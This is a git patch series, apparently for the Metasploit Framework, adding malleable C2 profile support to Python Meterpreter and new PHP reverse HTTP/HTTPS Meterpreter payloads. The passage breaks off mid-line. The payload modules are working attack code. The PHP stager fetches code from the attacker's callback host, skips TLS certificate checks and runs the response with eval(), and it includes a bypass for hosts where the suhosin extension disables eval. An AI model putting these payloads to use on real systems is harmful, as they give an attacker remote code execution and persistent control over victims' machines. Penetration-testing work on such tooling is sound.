From 9ba0e11d34810bdabb9eb68a1e7359d0f2982f20 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Sat, 21 Mar 2026 15:16:04 +1000 Subject: [PATCH 01/26] Support MC2 in python --- .../core/payload/python/meterpreter_loader.rb | 141 ++++++++++++------ lib/rex/payloads/meterpreter/config.rb | 11 +- .../python/meterpreter_reverse_http.rb | 6 + .../python/meterpreter_reverse_https.rb | 6 + 4 files changed, 112 insertions(+), 52 deletions(-) diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb index 0f3d7f1602ed7..e9ee0c9df765a 100644 --- a/lib/msf/core/payload/python/meterpreter_loader.rb +++ b/lib/msf/core/payload/python/meterpreter_loader.rb @@ -49,6 +49,35 @@ def stage_payload(opts={}) Rex::Text.encode_base64(Rex::Text.zlib_deflate(stage_meterpreter(opts))) end + def generate_config(opts={}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid(arch: ARCH_PYTHON, platform: 'python') + + unless opts[:transport_config] + scheme = opts[:scheme] || 'tcp' + if scheme == 'https' + opts[:transport_config] = [transport_config_reverse_https(opts)] + elsif scheme == 'http' + opts[:transport_config] = [transport_config_reverse_http(opts)] + else + opts[:transport_config] = [transport_config_reverse_tcp(opts)] + end + end + + config_opts = { + ascii_str: true, + include_comms_handle: false, + null_session_guid: opts[:stageless] == true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + stageless: opts[:stageless] == true, + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + config.to_b + end + # Get the raw Python Meterpreter stage and patch in values based on the # configuration # @@ -86,58 +115,74 @@ def stage_meterpreter(opts={}) met.sub!("# PATCH-SETUP-ENCRYPTION #", python_encryptor_loader) - met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{ds['SessionExpirationTimeout']}") - met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{ds['SessionCommunicationTimeout']}") - met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{ds['SessionRetryTotal']}") - met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{ds['SessionRetryWait']}") + if opts[:c2_profile] + # When a C2 profile is specified, generate a TLV config block that + # contains the full transport configuration including the profile. + unless opts[:url].to_s == '' + opts[:scheme] ||= opts[:url].to_s.split(':')[0] - uuid = opts[:uuid] || generate_payload_uuid(arch: ARCH_PYTHON, platform: 'python') - uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '') - met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'") + # Build a URI from the callback URL for transport config + uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" + opts[:uri] = "#{luri}#{uri}" + end - if opts[:stageless] == true - session_guid = '00' * 16 + config_block = Rex::Text.encode_base64(generate_config(opts)) + met.sub!("CONFIG_BLOCK = ''", "CONFIG_BLOCK = '#{config_block}'") else - session_guid = SecureRandom.uuid.gsub('-', '') - end - met.sub!("SESSION_GUID = \'\'", "SESSION_GUID = \'#{session_guid}\'") - - http_user_agent = opts[:http_user_agent] || ds['HttpUserAgent'] - http_proxy_host = opts[:http_proxy_host] || ds['HttpProxyHost'] || ds['PROXYHOST'] - http_proxy_port = opts[:http_proxy_port] || ds['HttpProxyPort'] || ds['PROXYPORT'] - http_proxy_user = opts[:http_proxy_user] || ds['HttpProxyUser'] - http_proxy_pass = opts[:http_proxy_pass] || ds['HttpProxyPass'] - http_header_host = opts[:header_host] || ds['HttpHostHeader'] - http_header_cookie = opts[:header_cookie] || ds['HttpCookie'] - http_header_referer = opts[:header_referer] || ds['HttpReferer'] - - # The callback URL can be different to the one that we're receiving from the interface - # so we need to generate it - # TODO: move this to somewhere more common so that it can be used across payload types - unless opts[:url].to_s == '' - - # Build the callback URL (TODO: share this logic with TransportConfig - uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" - opts[:scheme] ||= opts[:url].to_s.split(':')[0] - scheme, lhost, lport = transport_uri_components(opts) - callback_url = "#{scheme}://#{lhost}:#{lport}#{luri}#{uri}/" - - # patch in the various payload related configuration - met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'") - met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != '' - met.sub!('HTTP_COOKIE = None', "HTTP_COOKIE = '#{var_escape.call(http_header_cookie)}'") if http_header_cookie.to_s != '' - met.sub!('HTTP_HOST = None', "HTTP_HOST = '#{var_escape.call(http_header_host)}'") if http_header_host.to_s != '' - met.sub!('HTTP_REFERER = None', "HTTP_REFERER = '#{var_escape.call(http_header_referer)}'") if http_header_referer.to_s != '' - - if http_proxy_host.to_s != '' - http_proxy_url = "http://" - unless http_proxy_user.to_s == '' && http_proxy_pass.to_s == '' - http_proxy_url << "#{Rex::Text.uri_encode(http_proxy_user)}:#{Rex::Text.uri_encode(http_proxy_pass)}@" + # No C2 profile means we do what we used to do and patch the other globals. + met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{ds['SessionExpirationTimeout']}") + met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{ds['SessionCommunicationTimeout']}") + met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{ds['SessionRetryTotal']}") + met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{ds['SessionRetryWait']}") + + uuid = opts[:uuid] || generate_payload_uuid(arch: ARCH_PYTHON, platform: 'python') + uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '') + met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'") + + if opts[:stageless] == true + session_guid = '00' * 16 + else + session_guid = SecureRandom.uuid.gsub('-', '') + end + met.sub!("SESSION_GUID = \'\'", "SESSION_GUID = \'#{session_guid}\'") + + http_user_agent = opts[:http_user_agent] || ds['HttpUserAgent'] + http_proxy_host = opts[:http_proxy_host] || ds['HttpProxyHost'] || ds['PROXYHOST'] + http_proxy_port = opts[:http_proxy_port] || ds['HttpProxyPort'] || ds['PROXYPORT'] + http_proxy_user = opts[:http_proxy_user] || ds['HttpProxyUser'] + http_proxy_pass = opts[:http_proxy_pass] || ds['HttpProxyPass'] + http_header_host = opts[:header_host] || ds['HttpHostHeader'] + http_header_cookie = opts[:header_cookie] || ds['HttpCookie'] + http_header_referer = opts[:header_referer] || ds['HttpReferer'] + + # The callback URL can be different to the one that we're receiving from the interface + # so we need to generate it + # TODO: move this to somewhere more common so that it can be used across payload types + unless opts[:url].to_s == '' + + # Build the callback URL (TODO: share this logic with TransportConfig + uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" + opts[:scheme] ||= opts[:url].to_s.split(':')[0] + scheme, lhost, lport = transport_uri_components(opts) + callback_url = "#{scheme}://#{lhost}:#{lport}#{luri}#{uri}/" + + # patch in the various payload related configuration + met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'") + met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != '' + met.sub!('HTTP_COOKIE = None', "HTTP_COOKIE = '#{var_escape.call(http_header_cookie)}'") if http_header_cookie.to_s != '' + met.sub!('HTTP_HOST = None', "HTTP_HOST = '#{var_escape.call(http_header_host)}'") if http_header_host.to_s != '' + met.sub!('HTTP_REFERER = None', "HTTP_REFERER = '#{var_escape.call(http_header_referer)}'") if http_header_referer.to_s != '' + + if http_proxy_host.to_s != '' + http_proxy_url = "http://" + unless http_proxy_user.to_s == '' && http_proxy_pass.to_s == '' + http_proxy_url << "#{Rex::Text.uri_encode(http_proxy_user)}:#{Rex::Text.uri_encode(http_proxy_pass)}@" + end + http_proxy_url << (Rex::Socket.is_ipv6?(http_proxy_host) ? "[#{http_proxy_host}]" : http_proxy_host) + http_proxy_url << ":#{http_proxy_port}" + + met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(http_proxy_url)}'") end - http_proxy_url << (Rex::Socket.is_ipv6?(http_proxy_host) ? "[#{http_proxy_host}]" : http_proxy_host) - http_proxy_url << ":#{http_proxy_port}" - - met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(http_proxy_url)}'") end end diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 97f55f7dd0ef7..105820b0a598c 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -59,7 +59,7 @@ def add_session_tlv(tlv, opts) session_guid = [SecureRandom.uuid.gsub('-', '')].pack('H*') end - tlv.add_tlv(MET::TLV_TYPE_EXITFUNC, exit_func) + tlv.add_tlv(MET::TLV_TYPE_EXITFUNC, exit_func) if exit_func tlv.add_tlv(MET::TLV_TYPE_SESSION_EXPIRY, opts[:expiration]) tlv.add_tlv(MET::TLV_TYPE_UUID, uuid) tlv.add_tlv(MET::TLV_TYPE_SESSION_GUID, session_guid) @@ -167,10 +167,13 @@ def config_block add_extension_tlv(config_packet, e, ext_inits[e], file_extension, debug_build: @opts[:debug_build]) end - # comms handle needs to have space added, as this is where things are patched by the stager - comms_handle = "\x00" * 8 config_bytes = config_packet.to_r - comms_handle + config_bytes + if @opts[:include_comms_handle] == false + config_bytes + else + # comms handle needs to have space added, as this is where things are patched by the stager + "\x00" * 8 + config_bytes + end end end diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index e8d3b7eb86f14..847334c8d2059 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -26,6 +26,10 @@ def initialize(info = {}) ) ) + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + ]) + register_advanced_options( Msf::Opt.http_header_options + Msf::Opt.http_proxy_options @@ -34,11 +38,13 @@ def initialize(info = {}) def generate_reverse_http(opts = {}) opts[:uri_uuid_mode] = :init_connect + met = stage_meterpreter({ url: generate_callback_url(opts), http_user_agent: opts[:user_agent], http_proxy_host: opts[:proxy_host], http_proxy_port: opts[:proxy_port], + c2_profile: datastore['MALLEABLEC2'], stageless: true }) diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index 8274c36226ac5..d8ffa08d4c22a 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -26,6 +26,10 @@ def initialize(info = {}) ) ) + register_options([ + OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + ]) + register_advanced_options( Msf::Opt.http_header_options + Msf::Opt.http_proxy_options @@ -35,11 +39,13 @@ def initialize(info = {}) def generate_reverse_http(opts = {}) opts[:scheme] = 'https' opts[:uri_uuid_mode] = :init_connect + met = stage_meterpreter({ url: generate_callback_url(opts), http_user_agent: opts[:user_agent], http_proxy_host: opts[:proxy_host], http_proxy_port: opts[:proxy_port], + c2_profile: datastore['MALLEABLEC2'], stageless: true }) From f7aafe6719cb92b92e76c292691dc477a6476a18 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Tue, 24 Mar 2026 17:00:04 +1000 Subject: [PATCH 02/26] Refactor config gen Comms handle is a windows concern, so that's removed from the generation of the config TLV now. --- lib/msf/core/payload/windows/meterpreter_loader.rb | 5 +++-- .../core/payload/windows/x64/meterpreter_loader_x64.rb | 5 +++-- lib/rex/payloads/meterpreter/config.rb | 9 +-------- 3 files changed, 7 insertions(+), 12 deletions(-) diff --git a/lib/msf/core/payload/windows/meterpreter_loader.rb b/lib/msf/core/payload/windows/meterpreter_loader.rb index 89f4e011ec4b7..04c489d46e174 100644 --- a/lib/msf/core/payload/windows/meterpreter_loader.rb +++ b/lib/msf/core/payload/windows/meterpreter_loader.rb @@ -86,8 +86,9 @@ def generate_config(opts={}) # create the configuration instance based off the parameters config = Rex::Payloads::Meterpreter::Config.new(config_opts) - # return the binary version of it - config.to_b + # return the binary version of it, prefixed with an 8-byte comms handle + # that the stager patches with the active socket/handle + "\x00" * 8 + config.to_b end def stage_meterpreter(opts={}) diff --git a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb index d4cc5c4bbaa19..49b1e96ffe788 100644 --- a/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb +++ b/lib/msf/core/payload/windows/x64/meterpreter_loader_x64.rb @@ -90,8 +90,9 @@ def generate_config(opts={}) # create the configuration instance based off the parameters config = Rex::Payloads::Meterpreter::Config.new(config_opts) - # return the binary version of it - config.to_b + # return the binary version of it, prefixed with an 8-byte comms handle + # that the stager patches with the active socket/handle + "\x00" * 8 + config.to_b end def stage_meterpreter(opts={}) diff --git a/lib/rex/payloads/meterpreter/config.rb b/lib/rex/payloads/meterpreter/config.rb index 105820b0a598c..c8f58d7fd3875 100644 --- a/lib/rex/payloads/meterpreter/config.rb +++ b/lib/rex/payloads/meterpreter/config.rb @@ -167,13 +167,6 @@ def config_block add_extension_tlv(config_packet, e, ext_inits[e], file_extension, debug_build: @opts[:debug_build]) end - config_bytes = config_packet.to_r - - if @opts[:include_comms_handle] == false - config_bytes - else - # comms handle needs to have space added, as this is where things are patched by the stager - "\x00" * 8 + config_bytes - end + config_packet.to_r end end From 5ec1fc2350c449c897db2e92e62e16473d30242b Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Tue, 24 Mar 2026 17:42:59 +1000 Subject: [PATCH 03/26] Add support for HTTP/S PHP and TLV config This is a biggie! --- lib/msf/core/handler/reverse_http.rb | 2 +- lib/msf/core/payload/php/reverse_http.rb | 128 ++++++++++++++++++ .../core/payload/python/meterpreter_loader.rb | 104 ++------------ lib/rex/payloads/meterpreter/uri_checksum.rb | 2 + .../singles/php/meterpreter_reverse_http.rb | 80 +++++++++++ .../singles/php/meterpreter_reverse_https.rb | 80 +++++++++++ .../singles/php/meterpreter_reverse_tcp.rb | 38 ++++-- modules/payloads/stagers/php/reverse_http.rb | 27 ++++ modules/payloads/stagers/php/reverse_https.rb | 31 +++++ modules/payloads/stages/php/meterpreter.rb | 48 +++++-- 10 files changed, 422 insertions(+), 118 deletions(-) create mode 100644 lib/msf/core/payload/php/reverse_http.rb create mode 100644 modules/payloads/singles/php/meterpreter_reverse_http.rb create mode 100644 modules/payloads/singles/php/meterpreter_reverse_https.rb create mode 100644 modules/payloads/stagers/php/reverse_http.rb create mode 100644 modules/payloads/stagers/php/reverse_https.rb diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 9fdbfb2a01265..6f3293be7c821 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -447,7 +447,7 @@ def on_request(cli, req) resp.body = pkt.to_r resp.body = self.c2_profile.wrap_outbound_get(resp.body) if self.c2_profile - when :init_python, :init_native, :init_java, :connect + when :init_python, :init_native, :init_java, :init_php, :connect # TODO: at some point we may normalise these three cases into just :init if info[:mode] == :connect diff --git a/lib/msf/core/payload/php/reverse_http.rb b/lib/msf/core/payload/php/reverse_http.rb new file mode 100644 index 0000000000000..dba085b642187 --- /dev/null +++ b/lib/msf/core/payload/php/reverse_http.rb @@ -0,0 +1,128 @@ +# -*- coding: binary -*- + +module Msf + +module Payload::Php::ReverseHttp + + include Msf::Payload::UUID::Options + + def initialize(info = {}) + super(info) + register_advanced_options( + Msf::Opt::http_header_options + + Msf::Opt::http_proxy_options + ) + deregister_options('HttpProxyType') + end + + # + # Generate the first stage + # + def generate(opts = {}) + opts[:scheme] = 'http' if opts[:scheme].nil? + generate_reverse_http(opts) + end + + # + # Return the callback URL + # + def generate_callback_url(opts) + if Rex::Socket.is_ipv6?(opts[:host]) + target_url = "#{opts[:scheme]}://[#{opts[:host]}]" + else + target_url = "#{opts[:scheme]}://#{opts[:host]}" + end + + target_url << ':' + target_url << opts[:port].to_s + target_url << luri + target_url << generate_callback_uri(opts) + target_url + end + + # + # Return the longest URI that fits into our available space + # + def generate_callback_uri(opts = {}) + uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) + + if self.available_space.nil? || dynamic_size? || required_space > self.available_space + uri_req_len = 30 + end + + uuid = generate_payload_uuid(arch: ARCH_PHP, platform: 'php') + generate_uri_uuid_mode(opts[:uri_uuid_mode] || :init_php, uri_req_len, uuid: uuid) + end + + def generate_reverse_http(opts = {}) + ds = opts[:datastore] || datastore + opts.merge!({ + host: ds['LHOST'] || '127.127.127.127', + port: ds['LPORT'], + }) + + callback_url = generate_callback_url(opts) + scheme = opts[:scheme] + + php = %Q^/* array( + 'method' => 'GET', + 'timeout' => 30, + 'header' => "User-Agent: #{ds['HttpUserAgent'] || 'Mozilla/5.0'}\\r\\n", + 'ignore_errors' => true, +)); +^ + + if scheme == 'https' + php << %Q^$opts['ssl'] = array( + 'verify_peer' => false, + 'verify_peer_name' => false, + 'allow_self_signed' => true, +); +^ + end + + proxy_host = ds['HttpProxyHost'] + if proxy_host.to_s != '' + proxy_port = ds['HttpProxyPort'] || 8080 + php << %Q^$opts['#{scheme}']['proxy'] = 'tcp://#{proxy_host}:#{proxy_port}'; +$opts['#{scheme}']['request_fulluri'] = true; +^ + end + + php << %Q^$ctx = stream_context_create($opts); +$b = file_get_contents($url, false, $ctx); +if ($b === false) { die(); } +if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) +{ + $suhosin_bypass = create_function('', $b); + $suhosin_bypass(); +} +else +{ + eval($b); +} +die();^ + + php.gsub!(/#.*$/, '') + Rex::Text.compress(php) + end + + def transport_config(opts = {}) + transport_config_reverse_http(opts) + end + + # + # Determine the maximum amount of space required for the features requested + # + def required_space + space = cached_size + space += 100 + space += 256 + space + end +end + +end diff --git a/lib/msf/core/payload/python/meterpreter_loader.rb b/lib/msf/core/payload/python/meterpreter_loader.rb index e9ee0c9df765a..23d1bab6690dc 100644 --- a/lib/msf/core/payload/python/meterpreter_loader.rb +++ b/lib/msf/core/payload/python/meterpreter_loader.rb @@ -66,7 +66,6 @@ def generate_config(opts={}) config_opts = { ascii_str: true, - include_comms_handle: false, null_session_guid: opts[:stageless] == true, expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, uuid: opts[:uuid], @@ -80,112 +79,27 @@ def generate_config(opts={}) # Get the raw Python Meterpreter stage and patch in values based on the # configuration - # - # @param opts [Hash] The options to use for patching the stage data. - # @option opts [String] :http_proxy_host The host to use as a proxy for - # HTTP(S) transports. - # @option opts [String] :http_proxy_port The port to use when a proxy host is - # set for HTTP(S) transports. - # @option opts [String] :url The HTTP(S) URL to patch in to - # allow use of the stage as a stageless payload. - # @option opts [String] :http_user_agent The value to use for the User-Agent - # header for HTTP(S) transports. - # @option opts [String] :stageless_tcp_socket_setup Python code to execute to - # setup a tcp socket to allow use of the stage as a stageless payload. - # @option opts [String] :uuid A specific UUID to use for sessions created by - # this stage. def stage_meterpreter(opts={}) ds = opts[:datastore] || datastore met = MetasploitPayloads.read('meterpreter', 'meterpreter.py') - var_escape = lambda { |txt| - txt.gsub('\\', '\\' * 8).gsub('\'', %q(\\\\\\\')) - } - - if ds['MeterpreterDebugBuild'] - met.sub!(%q|DEBUGGING = False|, %q|DEBUGGING = True|) - - logging_options = Msf::OptMeterpreterDebugLogging.parse_logging_options(ds['MeterpreterDebugLogging']) - met.sub!(%q|DEBUGGING_LOG_FILE_PATH = None|, %Q|DEBUGGING_LOG_FILE_PATH = "#{logging_options[:rpath]}"|) if logging_options[:rpath] - end - unless ds['MeterpreterTryToFork'] met.sub!('TRY_TO_FORK = True', 'TRY_TO_FORK = False') end met.sub!("# PATCH-SETUP-ENCRYPTION #", python_encryptor_loader) - if opts[:c2_profile] - # When a C2 profile is specified, generate a TLV config block that - # contains the full transport configuration including the profile. - unless opts[:url].to_s == '' - opts[:scheme] ||= opts[:url].to_s.split(':')[0] - - # Build a URI from the callback URL for transport config - uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" - opts[:uri] = "#{luri}#{uri}" - end - - config_block = Rex::Text.encode_base64(generate_config(opts)) - met.sub!("CONFIG_BLOCK = ''", "CONFIG_BLOCK = '#{config_block}'") - else - # No C2 profile means we do what we used to do and patch the other globals. - met.sub!('SESSION_EXPIRATION_TIMEOUT = 604800', "SESSION_EXPIRATION_TIMEOUT = #{ds['SessionExpirationTimeout']}") - met.sub!('SESSION_COMMUNICATION_TIMEOUT = 300', "SESSION_COMMUNICATION_TIMEOUT = #{ds['SessionCommunicationTimeout']}") - met.sub!('SESSION_RETRY_TOTAL = 3600', "SESSION_RETRY_TOTAL = #{ds['SessionRetryTotal']}") - met.sub!('SESSION_RETRY_WAIT = 10', "SESSION_RETRY_WAIT = #{ds['SessionRetryWait']}") - - uuid = opts[:uuid] || generate_payload_uuid(arch: ARCH_PYTHON, platform: 'python') - uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '') - met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'") - - if opts[:stageless] == true - session_guid = '00' * 16 - else - session_guid = SecureRandom.uuid.gsub('-', '') - end - met.sub!("SESSION_GUID = \'\'", "SESSION_GUID = \'#{session_guid}\'") - - http_user_agent = opts[:http_user_agent] || ds['HttpUserAgent'] - http_proxy_host = opts[:http_proxy_host] || ds['HttpProxyHost'] || ds['PROXYHOST'] - http_proxy_port = opts[:http_proxy_port] || ds['HttpProxyPort'] || ds['PROXYPORT'] - http_proxy_user = opts[:http_proxy_user] || ds['HttpProxyUser'] - http_proxy_pass = opts[:http_proxy_pass] || ds['HttpProxyPass'] - http_header_host = opts[:header_host] || ds['HttpHostHeader'] - http_header_cookie = opts[:header_cookie] || ds['HttpCookie'] - http_header_referer = opts[:header_referer] || ds['HttpReferer'] - - # The callback URL can be different to the one that we're receiving from the interface - # so we need to generate it - # TODO: move this to somewhere more common so that it can be used across payload types - unless opts[:url].to_s == '' - - # Build the callback URL (TODO: share this logic with TransportConfig - uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" - opts[:scheme] ||= opts[:url].to_s.split(':')[0] - scheme, lhost, lport = transport_uri_components(opts) - callback_url = "#{scheme}://#{lhost}:#{lport}#{luri}#{uri}/" - - # patch in the various payload related configuration - met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'") - met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != '' - met.sub!('HTTP_COOKIE = None', "HTTP_COOKIE = '#{var_escape.call(http_header_cookie)}'") if http_header_cookie.to_s != '' - met.sub!('HTTP_HOST = None', "HTTP_HOST = '#{var_escape.call(http_header_host)}'") if http_header_host.to_s != '' - met.sub!('HTTP_REFERER = None', "HTTP_REFERER = '#{var_escape.call(http_header_referer)}'") if http_header_referer.to_s != '' - - if http_proxy_host.to_s != '' - http_proxy_url = "http://" - unless http_proxy_user.to_s == '' && http_proxy_pass.to_s == '' - http_proxy_url << "#{Rex::Text.uri_encode(http_proxy_user)}:#{Rex::Text.uri_encode(http_proxy_pass)}@" - end - http_proxy_url << (Rex::Socket.is_ipv6?(http_proxy_host) ? "[#{http_proxy_host}]" : http_proxy_host) - http_proxy_url << ":#{http_proxy_port}" - - met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(http_proxy_url)}'") - end - end + # Build the URI from the callback URL if present + unless opts[:url].to_s == '' + opts[:scheme] ||= opts[:url].to_s.split(':')[0] + uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}" + opts[:uri] = "#{luri}#{uri}" end + # Generate the TLV config block containing all transport configuration + config_block = Rex::Text.encode_base64(generate_config(opts)) + met.sub!("CONFIG_BLOCK = ''", "CONFIG_BLOCK = '#{config_block}'") + # patch in any optional stageless tcp socket setup unless opts[:stageless_tcp_socket_setup].nil? offset_string = "" diff --git a/lib/rex/payloads/meterpreter/uri_checksum.rb b/lib/rex/payloads/meterpreter/uri_checksum.rb index a56c629c9092e..f20d47797d4c3 100644 --- a/lib/rex/payloads/meterpreter/uri_checksum.rb +++ b/lib/rex/payloads/meterpreter/uri_checksum.rb @@ -13,6 +13,7 @@ module UriChecksum URI_CHECKSUM_INITN = 92 # Native (same as Windows) URI_CHECKSUM_INITP = 80 # Python URI_CHECKSUM_INITJ = 88 # Java + URI_CHECKSUM_INITPH = 84 # PHP URI_CHECKSUM_CONN = 98 # Existing session URI_CHECKSUM_INIT_CONN = 95 # New stageless session @@ -21,6 +22,7 @@ module UriChecksum URI_CHECKSUM_INITN, :init_native, URI_CHECKSUM_INITP, :init_python, URI_CHECKSUM_INITJ, :init_java, + URI_CHECKSUM_INITPH, :init_php, URI_CHECKSUM_INIT_CONN, :init_connect, URI_CHECKSUM_CONN, :connect ] diff --git a/modules/payloads/singles/php/meterpreter_reverse_http.rb b/modules/payloads/singles/php/meterpreter_reverse_http.rb new file mode 100644 index 0000000000000..d8d2f211daa9b --- /dev/null +++ b/modules/payloads/singles/php/meterpreter_reverse_http.rb @@ -0,0 +1,80 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Php::ReverseHttp + include Msf::Payload::TransportConfig + include Msf::Payload::UUID::Options + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'PHP Meterpreter, Reverse HTTP Inline', + 'Description' => 'Connect back to attacker and spawn a Meterpreter server via HTTP (PHP)', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::ReverseHttp, + 'Session' => Msf::Sessions::Meterpreter_Php_Php + ) + ) + end + + def generate_config(opts = {}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid + + opts[:transport_config] ||= [transport_config_reverse_http(opts)] + + config_opts = { + ascii_str: true, + null_session_guid: true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + stageless: true, + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + config.to_b + end + + def generate_reverse_http(opts = {}) + opts[:uri_uuid_mode] = :init_connect + + ds = opts[:datastore] || datastore + opts.merge!({ + host: ds['LHOST'] || '127.127.127.127', + port: ds['LPORT'] + }) + opts[:scheme] = 'http' if opts[:scheme].nil? + url = generate_callback_url(opts) + + met = MetasploitPayloads.read('meterpreter', 'meterpreter.php') + + config_block = Rex::Text.encode_base64(generate_config( + url: url, + scheme: opts[:scheme], + stageless: true + )) + met = met.sub('"CONFIG_BLOCK", ""', "\"CONFIG_BLOCK\", \"#{config_block}\"") + + if datastore['MeterpreterDebugBuild'] + met.sub!(%q{define("MY_DEBUGGING", false);}, %|define("MY_DEBUGGING", true);|) + + logging_options = Msf::OptMeterpreterDebugLogging.parse_logging_options(datastore['MeterpreterDebugLogging']) + met.sub!(%q{define("MY_DEBUGGING_LOG_FILE_PATH", false);}, %|define("MY_DEBUGGING_LOG_FILE_PATH", "#{logging_options[:rpath]}");|) if logging_options[:rpath] + end + + met.gsub!(/#.*$/, '') + Rex::Text.compress(met) + end +end diff --git a/modules/payloads/singles/php/meterpreter_reverse_https.rb b/modules/payloads/singles/php/meterpreter_reverse_https.rb new file mode 100644 index 0000000000000..f959327481062 --- /dev/null +++ b/modules/payloads/singles/php/meterpreter_reverse_https.rb @@ -0,0 +1,80 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Payload::Php::ReverseHttp + include Msf::Payload::TransportConfig + include Msf::Payload::UUID::Options + include Msf::Sessions::MeterpreterOptions + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'PHP Meterpreter, Reverse HTTPS Inline', + 'Description' => 'Connect back to attacker and spawn a Meterpreter server via HTTPS (PHP)', + 'Author' => 'OJ Reeves', + 'License' => MSF_LICENSE, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Handler' => Msf::Handler::ReverseHttps, + 'Session' => Msf::Sessions::Meterpreter_Php_Php + ) + ) + end + + def generate_config(opts = {}) + ds = opts[:datastore] || datastore + opts[:uuid] ||= generate_payload_uuid + + opts[:transport_config] ||= [transport_config_reverse_https(opts)] + + config_opts = { + ascii_str: true, + null_session_guid: true, + expiration: (ds[:expiration] || ds['SessionExpirationTimeout']).to_i, + uuid: opts[:uuid], + transports: opts[:transport_config], + stageless: true, + }.merge(meterpreter_logging_config(opts)) + + config = Rex::Payloads::Meterpreter::Config.new(config_opts) + config.to_b + end + + def generate_reverse_http(opts = {}) + opts[:scheme] = 'https' + opts[:uri_uuid_mode] = :init_connect + + ds = opts[:datastore] || datastore + opts.merge!({ + host: ds['LHOST'] || '127.127.127.127', + port: ds['LPORT'] + }) + url = generate_callback_url(opts) + + met = 